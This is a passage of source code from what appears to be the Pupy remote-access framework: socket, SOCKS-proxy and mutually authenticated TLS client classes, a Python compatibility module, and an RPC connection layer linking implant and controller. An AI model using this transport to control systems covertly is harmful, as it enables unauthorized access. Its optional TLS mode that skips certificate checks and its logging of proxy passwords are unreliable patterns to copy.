        self.nodelay = nodelay
        self.keepalive = keepalive

    def connect(self, host, port):
        family, socktype, proto, _, sockaddr = socket.getaddrinfo(
            host, port, self.family, self.socktype)[0]

        s = socket.socket(family, socktype, proto)
        s.settimeout(self.timeout)

        logger.debug('Connect: %s, timeout=%d', sockaddr, self.timeout)

        s.connect(sockaddr)

        if self.nodelay:
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

        if self.keepalive:
            s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)
            # Linux specific: after 1 idle minutes, start sending keepalives
            # every 5 minutes.
            # Drop connection after 10 failed keepalives

        if hasattr(socket, "TCP_KEEPIDLE") and hasattr(
                socket, "TCP_KEEPINTVL") and hasattr(socket, "TCP_KEEPCNT"):
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPIDLE, 1 * 60)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPINTVL, 5 * 60)
            s.setsockopt(socket.IPPROTO_TCP, socket.TCP_KEEPCNT, 10)

        elif hasattr(socket, "SIO_KEEPALIVE_VALS") and hasattr(s, 'ioctl'):
            s.ioctl(socket.SIO_KEEPALIVE_VALS, (1, 1*60*1000, 5*60*1000))

        self.sock = s

        logger.debug('Connected to: %s, socket=%s', sockaddr, s)

        return s


class PupyProxifiedTCPClient(PupyTCPClient):
    def __init__(self, *args, **kwargs):
        self.proxies = kwargs.pop('proxies', None)
        if self.proxies is None:
            raise ValueError('proxies must be specified')

        super(PupyProxifiedTCPClient, self).__init__(*args, **kwargs)

    def connect(self, host, port):
        s = socks.socksocket()

        logger.debug(
            'Connect to: %s:%d timeout=%d via proxies',
            host, port, self.timeout)

        for proxy in self.proxies:
            proxy_addr = proxy.addr
            proxy_port = None

            if ':' in proxy_addr:
                proxy_addr, proxy_port = proxy_addr.rsplit(':', 1)
                proxy_port = int(proxy_port)

            logger.debug(
                'Connect via %s:%s (type=%s%s)',
                proxy_addr, proxy_port or 'default', proxy.type,
                ' auth={}:{}'.format(
                    proxy.username, proxy.password
                ) if proxy.username else '')

            s.add_proxy(
                proxy_type=proxy.type,
                addr=proxy_addr,
                port=proxy_port,
                rdns=True,
                username=proxy.username,
                password=proxy.password
            )

        s.settimeout(self.timeout)
        s.connect((host, port))

        self.sock = s

        logger.debug(
            'Connected to: %s:%d: %s', host, port, s)

        return s


class PupySSLClient(PupyTCPClient):
    def __init__(self, *args, **kwargs):
        self.ssl_auth = kwargs.pop('ssl_auth', True)
        self.hostname = kwargs.pop('hostname', None)

        if self.ssl_auth:
            self.cert_reqs = ssl.CERT_REQUIRED

            try:
                import pupy_credentials

                self.SSL_CLIENT_CERT = pupy_credentials.SSL_CLIENT_CERT
                self.SSL_CLIENT_KEY = pupy_credentials.SSL_CLIENT_KEY
                self.SSL_CA_CERT = pupy_credentials.SSL_CA_CERT
                self.ROLE = 'CLIENT'

            except ImportError:
                from pupy.pupylib.PupyCredentials import Credentials

                credentials = Credentials()
                self.SSL_CLIENT_CERT = credentials['SSL_CLIENT_CERT']
                self.SSL_CLIENT_KEY = credentials['SSL_CLIENT_KEY']
                self.SSL_CA_CERT = credentials['SSL_CA_CERT']
                self.ROLE = credentials.role
        else:
            self.cert_reqs = ssl.CERT_NONE

        self.ciphers = 'HIGH:!aNULL:!MD5:!RC4:!3DES:!DES'
        self.ssl_version = ssl.PROTOCOL_SSLv23

        super(PupySSLClient, self).__init__(*args, **kwargs)

    def connect(self, host, port):
        if self.ssl_auth:
            return self.connect_pupy(host, port)
        else:
            return self.connect_any(host, port)

    def connect_any(self, host, port):
        socket = super(PupySSLClient, self).connect(host, port)

        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS)
        ctx.verify_mode = ssl.CERT_NONE
        ctx.check_hostname = False

        return ctx.wrap_socket(
            socket,
            server_hostname=self.hostname or host
        )

    def connect_pupy(self, host, port):
        socket = super(PupySSLClient, self).connect(host, port)
        try:
            fd_cert_path, tmp_cert_path = tempfile.mkstemp()
            fd_key_path, tmp_key_path = tempfile.mkstemp()
            fd_ca_path, tmp_ca_path = tempfile.mkstemp()
            os.write(fd_cert_path, self.SSL_CLIENT_CERT)
            os.close(fd_cert_path)
            os.write(fd_key_path, self.SSL_CLIENT_KEY)
            os.close(fd_key_path)
            os.write(fd_ca_path, self.SSL_CA_CERT)
            os.close(fd_ca_path)
        except Exception as e:
            logging.error("Error writing certificates to temp file %s", e)
            raise e

        try:
            wrapped_socket = ssl.wrap_socket(
                socket,
                keyfile=tmp_key_path,
                certfile=tmp_cert_path,
                ca_certs=tmp_ca_path,
                server_side=False,
                cert_reqs=self.cert_reqs,
                ssl_version=self.ssl_version,
                ciphers=self.ciphers
            )

        finally:
            os.unlink(tmp_cert_path)
            os.unlink(tmp_key_path)
            os.unlink(tmp_ca_path)

        peer = wrapped_socket.getpeercert()

        peer_role = ''

        for (item) in peer['subject']:
            if item[0][0] == 'organizationalUnitName':
                peer_role = item[0][1]

        if not (self.ROLE == 'CLIENT' and peer_role == 'CONTROL' or
                self.ROLE == 'CONTROL' and peer_role == 'CLIENT'):
            raise ValueError('Invalid peer role: {}'.format(peer_role))

        return wrapped_socket


class PupyProxifiedSSLClient(PupySSLClient, PupyProxifiedTCPClient):
    pass


class PupyUDPClient(PupyClient):
    def __init__(
        self, family=socket.AF_UNSPEC,
            socktype=socket.SOCK_DGRAM, timeout=3):
        self.sock = None
        super(PupyUDPClient, self).__init__()
        self.family = family
        self.socktype = socktype
        self.timeout = timeout

    def connect(self, host, port):
        family, socktype, proto, _, sockaddr = socket.getaddrinfo(
            host, port, self.family, self.socktype
        )[0]

        s = socket.socket(family, socktype, proto)
        s.settimeout(self.timeout)
        s.connect(sockaddr)
        s.setblocking(0)

        self.sock = s
        self.host = host
        self.port = port

        return s, (host, port)


================================================
FILE: pupy/network/lib/compat.py
================================================
'''
compatibility module for various versions of python (2.4/3+/jython)
and various platforms (posix/windows)
'''

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'is_py3k', 'maxint',
    'Struct', 'BytesIO', 'pickle', 'callable',
    'select_module', 'select', 'get_exc_errno',
    'select_error', 'poll', 'xrange',
    'is_str', 'is_int', 'is_bin',
    'as_byte', 'as_native_string'
)


import sys
import time

from pupy.network.lib.convcompat import as_native_string

is_py3k = (sys.version_info[0] >= 3)

if is_py3k:
    exec('execute = exec')

    maxint = sys.maxsize
    xrange = range

    def is_int(value):
        return isinstance(value, int)

    def is_str(value):
        return isinstance(value, str)

    def as_byte(value):
        return bytes((value,))

else:
    from __builtin__ import xrange

    exec('''def execute(code, globals = None, locals = None):
                exec code in globals, locals''')

    maxint = sys.maxsize

    def is_int(value):
        return isinstance(value, (int, long))

    def is_str(value):
        return isinstance(value, basestring)

    def as_byte(value):
        return chr(value)


def is_bin(value):
    return isinstance(value, (bytes, bytearray, memoryview))


try:
    from struct import Struct

except ImportError:
    import struct

    class Struct(object):

        __slots__ = ('format', 'size')

        def __init__(self, format):
            self.format = format
            self.size = struct.calcsize(format)

        def pack(self, *args):
            return struct.pack(self.format, *args)

        def unpack(self, data):
            return struct.unpack(self.format, data)


if sys.version_info[0] < 3:
    from cStringIO import StringIO as BytesIO
else:
    from io import BytesIO


try:
    next = next
except NameError:
    def next(iterator):
        return iterator.next()

try:
    import cPickle as pickle
except ImportError:
    import pickle

try:
    callable = callable
except NameError:
    def callable(obj):
        return hasattr(obj, '__call__')

try:
    import select as select_module
except ImportError:
    select_module = None

    def select(*args):
        raise ImportError('select not supported on this platform')

else:
    # jython
    if hasattr(select_module, 'cpython_compatible_select'):
        from select import cpython_compatible_select as select
    else:
        from select import select


def get_exc_errno(exc):
    if hasattr(exc, 'errno'):
        return exc.errno
    else:
        return exc[0]


if select_module:
    select_error = select_module.error
else:
    select_error = IOError


if hasattr(select_module, 'poll'):

    class PollingPoll(object):
        def __init__(self):
            self._poll = select_module.poll()

        def register(self, fd, mode):
            flags = 0
            if 'r' in mode:
                flags |= select_module.POLLIN | select_module.POLLPRI
            if 'w' in mode:
                flags |= select_module.POLLOUT
            if 'e' in mode:
                flags |= select_module.POLLERR
            if 'h' in mode:
                # POLLRDHUP is a linux only extension, not known to python, but nevertheless
                # used and thus needed in the flags
                POLLRDHUP = 0x2000
                flags |= select_module.POLLHUP | select_module.POLLNVAL | POLLRDHUP

            self._poll.register(fd, flags)

        modify = register

        def unregister(self, fd):
            self._poll.unregister(fd)

        def poll(self, timeout = None):
            if timeout:
                # the real poll takes milliseconds while we have seconds here
                timeout = 1000*timeout

            events = self._poll.poll(timeout)
            processed = []

            for fd, evt in events:
                mask = ''
                if evt & (select_module.POLLIN | select_module.POLLPRI):
                    mask += 'r'
                if evt & select_module.POLLOUT:
                    mask += 'w'
                if evt & select_module.POLLERR:
                    mask += 'e'
                if evt & select_module.POLLHUP:
                    mask += 'h'
                if evt & select_module.POLLNVAL:
                    mask += 'n'
                processed.append((fd, mask))
            return processed

    poll = PollingPoll

else:
    class SelectingPoll(object):

        def __init__(self):
            self.rlist = set()
            self.wlist = set()

        def register(self, fd, mode):
            if 'r' in mode:
                self.rlist.add(fd)
            if 'w' in mode:
                self.wlist.add(fd)

        modify = register

        def unregister(self, fd):
            self.rlist.discard(fd)
            self.wlist.discard(fd)

        def poll(self, timeout = None):
            if not self.rlist and not self.wlist:
                time.sleep(timeout)
                return []  # need to return an empty array in this case
            else:
                rl, wl, _ = select(self.rlist, self.wlist, (), timeout)
                return [(fd, 'r') for fd in rl] + [(fd, 'w') for fd in wl]

    poll = SelectingPoll



# From six.py

def with_metaclass(meta, *bases):
    ''' Create a base class with a metaclass. '''
    # This requires a bit of explanation: the basic idea is to make a dummy
    # metaclass for one level of class instantiation that replaces itself with
    # the actual metaclass.
    class metaclass(type):

        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)

        @classmethod
        def __prepare__(cls, name, this_bases):
            return meta.__prepare__(name, bases)

    return type.__new__(
        metaclass,
        str('temporary_class'), (), {}
    )



================================================
FILE: pupy/network/lib/connection.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'SyncRequestDispatchQueue',
    'PupyConnection',
    'PupyConnectionThread'
)

import sys
import time
import weakref
import traceback

from threading import Thread, Lock, current_thread

if sys.version_info.major > 2:
    from queue import Queue, Full, Empty
else:
    from Queue import Queue, Full, Empty

from pupy.network.lib import getLogger

from pupy.network.lib.ack import Ack
from pupy.network.lib.buffer import Buffer

from pupy.network.lib.rpc.core import Connection, consts, brine, netref
from pupy.network.lib.rpc.core.consts import (
    HANDLE_PING, HANDLE_CLOSE, HANDLE_GETROOT,
    HANDLE_DIR, HANDLE_HASH, HANDLE_DEL
)

logger = getLogger('pconn')
synclogger = getLogger('sync')
syncqueuelogger = getLogger('syncqueue')


FAST_CALLS = (
    HANDLE_PING, HANDLE_CLOSE, HANDLE_GETROOT,

    HANDLE_DIR, HANDLE_HASH, HANDLE_DEL
)

PY2TO3_CALLATTRS = (
    '__getitem__', '__delitem__', '__setitem__',
    '__getattr__', '__delattr__', '__setattr__',
    '__getattribute__'
)

CONTROL_NOP = 0
CONTROL_ENABLE_BRINE_EXT_V1 = 1


# Monkeypatch brine to be buffer firendly


BRINE_VER_1 = 1
PING_V1_CONTROL_MAGIC = b'\x00CTRL\x00V1'


def stream_dump(obj, version=0):
    buf = Buffer()
    brine._dump(obj, buf, version)
    return buf


# Py2: bytes == str
@brine.register(brine._dump_registry, bytes)
def _dump_bytes_to_buffer(obj, stream, version):
    obj_len = len(obj)
    if obj_len == 0:
        stream.append(brine.TAG_EMPTY_STR)
        return
    elif obj_len < 5:
        if obj_len == 1:
            stream.append(brine.TAG_STR1)
        elif obj_len == 2:
            stream.append(brine.TAG_STR2)
        elif obj_len == 3:
            stream.append(brine.TAG_STR3)
        elif obj_len == 4:
            stream.append(brine.TAG_STR4)
    else:
        if obj_len < 256:
            stream.append(brine.TAG_STR_L1 + brine.I1.pack(obj_len))
        else:
            stream.append(brine.TAG_STR_L4 + brine.I4.pack(obj_len))

    stream.append(obj)


@brine.register(brine._dump_registry, Buffer)
def _dump_buffer_to_buffer(obj, stream, version):
    stream.append(brine.TAG_STR_L4 + brine.I4.pack(len(obj)))
    stream.append(obj)


brine.simple_types = list(brine.simple_types)
brine.simple_types.append(Buffer)
brine.dump = stream_dump

################################################################


class SyncRequestDispatchQueue(object):
    MAX_TASK_ACK_TIME = 0.5

    instance = None

    def __init__(self):
        self._queue = Queue(maxsize=256)
        self._workers = 1
        self._pending_workers = 0
        self._workers_lock = Lock()
        self._primary_worker = Thread(
            target=self._dispatch_request_worker,
            name="Primary SyncQueue Dispatcher"
        )
        self._primary_worker.daemon = True
        self._primary_worker.start()
        self._closed = False
        self._max_workers = 1
        self._promise = 0

    @staticmethod
    def get_queue():
        if not SyncRequestDispatchQueue.instance:
            SyncRequestDispatchQueue.instance = SyncRequestDispatchQueue()

        return SyncRequestDispatchQueue.instance

    def _dispatch_request_worker(self):

        name = current_thread().name

        if __debug__:
            syncqueuelogger.debug('New Worker(%s)', name)

        task = self._queue.get()
        while task and not self._closed:
            ack, on_error, func, args = task

            with self._workers_lock:
                ack.set()
                self._pending_workers += 1

            try:
                if __debug__:
                    syncqueuelogger.debug('Process task(%s) - start', name)

                func(*args)

                if __debug__:
                    syncqueuelogger.debug('Process task(%s) - complete', name)

            except Exception as e:
                if __debug__:
                    syncqueuelogger.debug(
                        'Process task(%s) - exception: func=%s args=%s '
                        'exc:%s/%s', name, func, args, type(e), e
                    )

                if on_error:
                    on_error(e)

            del func, args

            with self._workers_lock:
                self._queue.task_done()
                self._pending_workers -= 1

            again = False
            task = None

            try:
                task = self._queue.get_nowait()
                if __debug__:
                    syncqueuelogger.debug('Task acquired(%s) (no wait)', name)

            except Empty:
                with self._workers_lock:
                    if not self._closed and (
                        self._promise or self._workers <=
                            self._pending_workers + 1):
                        again = True
                    else:
                        self._workers -= 1

            if again:
                if __debug__:
                    syncqueuelogger.debug(
                        'Wait for task to be queued(%s)', name
                    )

                task = self._queue.get()

                if __debug__:
                    syncqueuelogger.debug('Task acquired(%s)', name)

        if __debug__:
            if not task:
                syncqueuelogger.debug(
                    'Worker(%s) closed by explicit request', name
                )

    def __call__(self, on_error, func, *args):
        with self._workers_lock:
            self._promise += 1

        ack = Ack()
        queued = False

        while not ack.is_set():
            if not queued:
                try:
                    if __debug__:
                        syncqueuelogger.debug('Queue task')

                    self._queue.put_nowait((ack, on_error, func, args))

                    if __debug__:
                        syncqueuelogger.debug('Task queued')

                    with self._workers_lock:
                        self._promise -= 1

                    queued = True

                except Full:
                    if __debug__:
                        syncqueuelogger.debug(
                            'Task not queued - no empty slots. '
                            'Launch new worker (%s, %s)',
                            self, self._pending_workers
                        )

                        pass

            if not queued or not ack.wait(
                    timeout=self.MAX_TASK_ACK_TIME, probe=0.1):
                with self._workers_lock:
                    if self._closed:
                        if __debug__:
                            syncqueuelogger.debug(
                                'Queue (%s) closed, do not start new worker',
                                self
                            )

                    self._workers += 1
                    if self._workers > self._max_workers:
                        self._max_workers = self._workers

                        if __debug__:
                            syncqueuelogger.info(
                                'Max workers(%s): %s',
                                self, self._max_workers)

                    thread = Thread(
                        target=self._dispatch_request_worker,
                        name="SyncQueue Dispatcher"
                    )
                    thread.daemon = True
                    thread.start()

    def close(self):
        with self._workers_lock:
            self._closed = True

            if __debug__:
                syncqueuelogger.debug('Queue(%s) closing: %s', self)

            try:
                while True:
                    try:
                        self._queue.put_nowait(None)
                    except Full:
                        break

            except Exception as e:
                if __debug__:
                    syncqueuelogger.exception(
                        'Queue(%s) close: error: %s', self, e
                    )

            if __debug__:
                syncqueuelogger.debug('Queue(%s) closed', self)


class PupyClientCababilities(object):
    __slots__ = ('_storage', '_version', '_acked')

    def __init__(self, version=0):
        self._storage = 0
        self._version = version
        self._acked = True

    def set(self, cap):
        self._storage |= cap

    def get(self, cap):
        return self._storage & cap == cap

    @property
    def version(self):
        return self._version

    @version.setter
    def version(self, version):
        if self._version != version:
            self._acked = False

        self._version = version

    def ack(self):
        result = self._acked
        self._acked = True
        return result


class PupyConnection(Connection):
    __slots__ = (
        '_initialized', '_deinitialized', '_closing',
        '_close_lock', '_sync_events_lock',
        '_async_events_lock', '_sync_events',
        '_sync_raw_replies', '_sync_raw_exceptions',
        '_last_recv', '_ping', '_ping_timeout',
        '_serve_timeout', '_last_ping', '_default_serve_timeout',
        '_queue', '_config', '_timer_event', '_timer_event_last',
        '_client_capabilities', '_3to2_mode'
    )

    def __repr__(self):
        return 'PC:{}'.format(self._config['connid'])

    def __init__(self, pupy_srv, *args, **kwargs):
        self._close_lock = Lock()
        self._sync_events_lock = Lock()
        self._async_events_lock = Lock()

        self._sync_events = {}
        self._sync_raw_replies = {}
        self._sync_raw_exceptions = {}

        self._last_recv = time.time()
        self._ping = True
        self._ping_timeout = 60
        self._serve_timeout = 600
        self._last_ping = None
        self._default_serve_timeout = 5
        self._queue = SyncRequestDispatchQueue.get_queue()

        self._timer_event = None
        self._timer_event_last = None
        self._initialized = False
        self._deinitialized = False
        self._closing = False

        self._client_capabilities = PupyClientCababilities()
        self._3to2_mode = False

        if 'ping' in kwargs:
            ping = kwargs.pop('ping')
        else:
            ping = None

        if 'timeout' in kwargs:
            timeout = kwargs.pop('timeout')
        else:
            timeout = None

        if 'timer_event' in kwargs:
            self._timer_event = kwargs.pop('timer_event')

        if ping or timeout:
            self.set_pings(ping, timeout)

        kwargs['_lazy'] = True
        Connection.__init__(self, *args, **kwargs)
        if pupy_srv:
            self._local_root.pupy_srv = pupy_srv

        if 'config' in kwargs:
            self._config.update(kwargs['config'])

        next(self._seqcounter)

        logger.debug('New PupyConnection: (%s)', self)

    def _on_sync_request_exception(self, exc):
        if __debug__:
            logger.exception(
                'Connection(%s) - sync request exception %s',
                self, exc
            )

        if not isinstance(exc, EOFError):
            logger.exception('%s: %s', self, exc)

        self.close()

    # def _netref_factory(self, oid, clsname, modname):
    #     return super(PupyConnection, self)._netref_factory(
    #         oid, clsname, modname
    #     )

    def consume(self):
        return self._channel.consume()

    def wake(self):
        self._channel.wake()

    def activate_3to2(self):
        self._3to2_mode = True

    def is_3to2(self):
        return self._3to2_mode

    def set_pings(self, ping=None, timeout=None):
        if ping is not None:
            try:
                self._serve_timeout = int(ping)
            except ValueError:
                self._serve_timeout = 10

                self._ping = ping and ping not in (
                    '0', '-1', 'N', 'n', 'false', 'False', 'no', 'No'
                )

            self._ping = bool(ping)

        if timeout:
            try:
                self._ping_timeout = int(timeout)
            except ValueError:
                self._ping_timeout = 2

        return self.get_pings()

    def _handle_ping(self, data):
        if data.startswith(PING_V1_CONTROL_MAGIC):
            payload = brine.load(data[len(PING_V1_CONTROL_MAGIC):])
            self._dispatch_pupy_control(*payload)
            return b''

        return data

    def get_pings(self):
        if self._ping:
            return self._serve_timeout, self._ping_timeout
        else:
            return None, None

    def sync_request(self, handler, *args):
        try:
            seq = self._send_request(handler, args)
        except EOFError:
            self.close()
            raise

        if __debug__:
            trace = traceback.extract_stack()
            if len(trace) >= 4:
                synclogger.debug(
                    'Sync request wait(%s): %s / %s:%s %s (%s)',
                    self, seq, *trace[-4]
                )

        self._sync_events[seq].wait()

        if __debug__:
            synclogger.debug(
                'Sync request wait(%s): %s - complete', self, seq)

        del self._sync_events[seq]

        if __debug__:
            synclogger.debug('Sync request process(%s): %s', self, seq)

        is_response = False
        is_exception = False

        with self._sync_events_lock:
            is_response = seq in self._sync_raw_replies
            is_exception = seq in self._sync_raw_exceptions

        if is_response:
            if __debug__:
                synclogger.debug(
                    'Dispatch sync reply(%s): %s - start', self, seq)

            Connection._dispatch_reply(
                self, seq, self._sync_raw_replies.pop(seq),
                self._client_capabilities.version
            )

            if __debug__:
                synclogger.debug(
                    'Dispatch sync reply(%s): %s - complete', self, seq)

        if is_exception:
            if __debug__:
                synclogger.debug(
                    'Dispatch sync exception(%s): %s - start', self, seq
                )
                synclogger.debug(
                    'Dispatch sync exception(%s): %s - handler = %s(%s) '
                    'args = %s',
                    self, seq,
                    self._HANDLERS[handler], handler,
                    repr(args)
                )

            Connection._dispatch_exception(
                self, seq, self._sync_raw_exceptions.pop(seq),
                self._client_capabilities.version
            )

            if __debug__:
                synclogger.debug(
                    'Dispatch sync exception(%s): %s - complete', self, seq)

        if __debug__:
            synclogger.debug(
                'Sync request(%s): %s - complete', self, seq)

        if self.closed:
            raise EOFError(
                'Connection was closed, seq({}): {}'.format(self, seq))

        isexc, obj = self._sync_replies.pop(seq)
        if isexc:
            raise obj
        else:
            return obj

    def _send_control(self, code, data=None, timeout=None):
        # Use PING command to send controls
        # For compatibility

        payload = brine.dump((code, data))
        payload.insert(PING_V1_CONTROL_MAGIC)

        return self.async_request(
            consts.HANDLE_PING, payload, timeout=timeout
        )

    def _py2to3_conv(self, handler, args):
        if handler in (consts.HANDLE_GETATTR, consts.HANDLE_DELATTR):
            oid, name = args
            return (oid, name.encode('utf-8'))
        elif handler == consts.HANDLE_SETATTR:
            oid, name, value = args
            return (oid, name.encode('utf-8'), value)
        elif handler == consts.HANDLE_CALLATTR:
            oid, name, args, kwargs = args

            if name in PY2TO3_CALLATTRS:
                first, rest = args[0], args[1:]
                first = first.encode('utf-8')
                args = [first]
                args.extend(rest)
                args = tuple(args)

            if kwargs is not None:
                kwargs = tuple(
                    (key.encode('utf-8'), value)
                    for (key, value) in kwargs
                )

            return (oid, name.encode('utf-8'), args, kwargs)
        elif handler == consts.HANDLE_CALL:
            oid, args, kwargs = args

            if kwargs is not None:
                kwargs = tuple(
                    (key.encode('utf-8'), value)
                    for (key, value) in kwargs
                )

            return (oid, args, kwargs)

        return args

    def _netref_factory(self, oid, clsname, modname):
        typeinfo = (clsname, modname)
        if typeinfo in self._netref_classes_cache:
            # print("Use cached netref", typeinfo)
            cls = self._netref_classes_cache[typeinfo]
        elif not self._3to2_mode and typeinfo in netref.builtin_classes_cache:
            # print("Use builtin netref", typeinfo)
            cls = netref.builtin_classes_cache[typeinfo]
        else:
            info = self.sync_request(consts.HANDLE_INSPECT, oid)
            cls = netref.class_factory(
                clsname, modname, info
            )
            self._netref_classes_cache[typeinfo] = cls
            # print("Use inspect netref", typeinfo, "as", cls, "info", info)
        return cls(weakref.ref(self), oid)

    def _send_request(self, handler, args, nowait=None):
        if self._3to2_mode:
            args = self._py2to3_conv(handler, args)
            # print("SEND REQUEST", handler, args)

        seq = next(self._seqcounter)
        if nowait:
            if __debug__:
                logger.debug('Async request(%s): %s', self, seq)

            self._async_callbacks[seq] = nowait
        else:
            if __debug__:
                synclogger.debug('Sync request(%s): %s', self, seq)

            self._sync_events[seq] = Ack()

        self._send(
            consts.MSG_REQUEST, seq, (
                handler, self._box(
                    args, self._client_capabilities.version
                )
            ),
            self._client_capabilities.version
        )

        if __debug__:
            synclogger.debug('Request submitted(%s): %s', self, seq)

        return seq

    def _async_request(self, handler, args=(), callback=(lambda a, b: None)):
        self._send_request(handler, args, nowait=callback)

    def _dispatch_reply(self, seq, raw):
        if __debug__:
            logger.debug('Dispatch reply(%s): %s - start', self, seq)

        self._last_recv = time.time()

        is_sync = False
        with self._async_events_lock:
            is_sync = seq not in self._async_callbacks

        if is_sync:
            self._sync_raw_replies[seq] = raw
            if __debug__:
                logger.debug(
                    'Dispatch sync reply(%s): %s - pass', self, seq)
            self._sync_events[seq].set()

        else:
            # We hope here that this request will not block x_x
            if __debug__:
                logger.debug(
                    'Dispatch async reply(%s): %s - start', self, seq)

            Connection._dispatch_reply(
                self, seq, raw,
                self._client_capabilities.version
            )

            if __debug__:
                logger.debug(
                    'Dispatch async reply(%s): %s - complete', self, seq)

    def _dispatch_exception(self, seq, raw):
        if __debug__:
            logger.debug('Dispatch exception(%s): %s', self, seq)

        self._last_recv = time.time()

        is_sync = False
        with self._async_events_lock:
            is_sync = seq not in self._async_callbacks

        if is_sync:
            self._sync_raw_exceptions[seq] = raw
            if __debug__:
                logger.debug(
                    'Dispatch sync exception(%s): %s - pass',
                    self, seq
                )
            self._sync_events[seq].set()
        else:
            if __debug__:
                logger.debug(
                    'Dispatch async reply(%s): %s - start', self, seq)

            Connection._dispatch_exception(
                self, seq, raw,
                self._client_capabilities.version
            )

            if __debug__:
                logger.debug(
                    'Dispatch async reply(%s): %s - complete', self, seq)

    def _close_rpyc(self, _catchall=True):
        if self._closed:
            return

        self._closed = True

        if __debug__:
            trace = traceback.extract_stack()
            if len(trace) >= 2:
                logger.debug(
                    'Connection(%s) - close - start (at: %s:%s %s(%s))',
                    self, *trace[-2]
                )

        try:
            self._async_request(consts.HANDLE_CLOSE)
        except EOFError as e:
            logger.info(
                'Connection(%s) - close - notification failed '
                'because of EOF (%s)', self, e)

        except Exception:
            if not _catchall:
                raise

    def _close_chan(self, _catchall=True):
        if self._deinitialized:
            if __debug__:
                logger.debug('Connection(%s) - already deinitialized', self)

            return

        self._deinitialized = True

        try:
            if __debug__:
                logger.debug('Connection(%s) - cleanup', self)

            self._cleanup(_anyway=True)

            if self._channel and hasattr(self._channel, 'wake'):
                if __debug__:
                    logger.debug(
                        'Connection(%s) - wake buf_in (%s)',
                        self, self._channel
                    )

                self._channel.wake()

        except Exception as e:
            if __debug__:
                logger.debug(
                    'Connection(%s) - cleanup exception - %s', self, e
                )
            pass

        if __debug__:
            logger.debug('Connection(%s) - cleanup locks', self)

        with self._sync_events_lock:
            for lock in self._sync_events.values():
                try:
                    lock.set()
                except Exception as e:

                    if __debug__:
                        logger.exception(
                            'Connection(%s) - ack failed: %s', self, e)

                    pass

        if __debug__:
            try:
                logger.debug('Connection(%s) - closed:', self)
            except Exception as e:
                logger.exception(e)

    def close(self, _catchall=True):
        with self._close_lock:
            if self._closing:
                return

            self._closing = True

        try:
            self._close_rpyc(_catchall)
        except Exception as e:
            if __debug__:
                logger.exception('Connection(%s) - rpyc close - %s', self, e)

            pass

        try:
            self._close_chan(_catchall)
        except Exception as e:
            if __debug__:
                logger.exception('Connection(%s) - chan close - %s', self, e)

            pass

    @property
    def inactive(self):
        return time.time() - self._last_recv

    def serve(self, timeout=None):
        raise NotImplementedError('Serve method should not be used!')

    def _init_service_with_notify(self, timeout):
        def check_timeout(promise):
            now = time.time()

            logger.debug('Check timeout(%s) - start', self)

            while (time.time() - now < timeout) and not self.closed:
                if promise.expired:
                    logger.info('Check timeout(%s) - failed', self)
                    self.close()
                    break
                elif promise.ready:
                    logger.debug('Check timeout(%s) - ok', self)
                    self._initialized = True
                    break
                else:
                    time.sleep(1)

        if self._local_root:
            promise = self._send_control(
                CONTROL_ENABLE_BRINE_EXT_V1, timeout=timeout
            )

            t = Thread(
                target=check_timeout, args=(promise,),
                name="PupyConnection({}) Timeout check".format(self)
            )
            t.daemon = True
            t.start()

            try:
                self._init_service()
            except AttributeError as e:
                if __debug__:
                    logger.exception('Init service failed: %s', e)
                # Connection was broken in the middle
                raise EOFError('Connection was broken in the middle')
        else:
            logger.debug('Local root is absent')

    def init(self, timeout=60):
        self._queue(
            self._on_sync_request_exception,
            self._init_service_with_notify,
            timeout
        )

    def loop(self):
        if __debug__:
            logger.debug('Serve loop(%s) started', self)

        if not self._timer_event_last:
            self._timer_event_last = time.time()

        while not self.closed:
            if self._timer_event:
                period, callback = self._timer_event

                if self._timer_event_last + period < time.time():
                    try:
                        callback()
                    except Exception as e:
                        logger.exception(
                            'Callback exception(%s): %s: %s',
                            self, type(e), e)

            try:
                timeout = None
                if not self._initialized:
                    timeout = 1

                data = self._serve(timeout)

                self._dispatch(data)
                continue

            except EOFError as e:
                logger.info('Serve loop(%s) - EOF (%s)', self, e)

            except Exception as e:
                logger.exception(
                    'Exception(%s): %s: %s', self, type(e), e)

            break

        if __debug__:
            logger.debug('Serve loop(%s) completed', self)

        self.close()

    def _serve(self, timeout=None):
        ''' Check timeouts every serve cycle '''

        interval, ping_timeout = self.get_pings()

        if timeout is None:
            timeout = interval or self._default_serve_timeout

        now = time.time()
        mintimeout = timeout

        data = None

        for async_event_id in self._async_callbacks.keys():
            async_event = self._async_callbacks.get(async_event_id, None)
            if not async_event:
                continue

            if not hasattr(async_event, '_ttl') or not async_event._ttl:
                continue

            if async_event._ttl < now:
                raise EOFError('Async timeout! ({})'.format(self))

            etimeout = async_event._ttl - now

            if __debug__:
                logger.debug(
                    'Check timeouts: (%s) etimeout = %s / mintimeout = %s /'
                    ' ttl = %s',
                    self, etimeout, mintimeout, async_event._ttl
                )

            if mintimeout is None or etimeout < mintimeout:
                mintimeout = etimeout

        timeout = mintimeout

        if __debug__:
            logger.debug(
                'Serve(%s): start / timeout = %s / interval = %s '
                '/ ping timeout = %s / %s',
                self, timeout, interval, ping_timeout, self._last_ping
            )

        data = self._recv(timeout, wait_for_lock=False)

        if __debug__:
            logger.debug(
                'Serve(%s): complete / data = %s',
                self, len(data) if data else None
            )

        if not data and interval and ping_timeout:
            if not self._last_ping or now > self._last_ping + interval:
                if __debug__:
                    logger.debug(
                        'Send ping, interval(%s): %d, timeout: %d',
                        self, interval, ping_timeout
                    )

                self._last_ping = self.ping(timeout=ping_timeout, now=now)
            else:
                if __debug__:
                    logger.debug(
                        'Ping not required(%s): %d < %d',
                        self, self._last_ping or now,
                        self._last_ping + interval
                    )

        return data

    def is_extended(self):
        return self._client_capabilities.version > 0

    def _dispatch_pupy_control(self, code, *args):
        if __debug__:
            logger.debug(
                'Processing pupy brine control: args: %s', args
            )

        if code == CONTROL_ENABLE_BRINE_EXT_V1:
            self._client_capabilities.version = 1

            if not self._client_capabilities.ack():
                self._send_control(CONTROL_ENABLE_BRINE_EXT_V1)

            if __debug__:
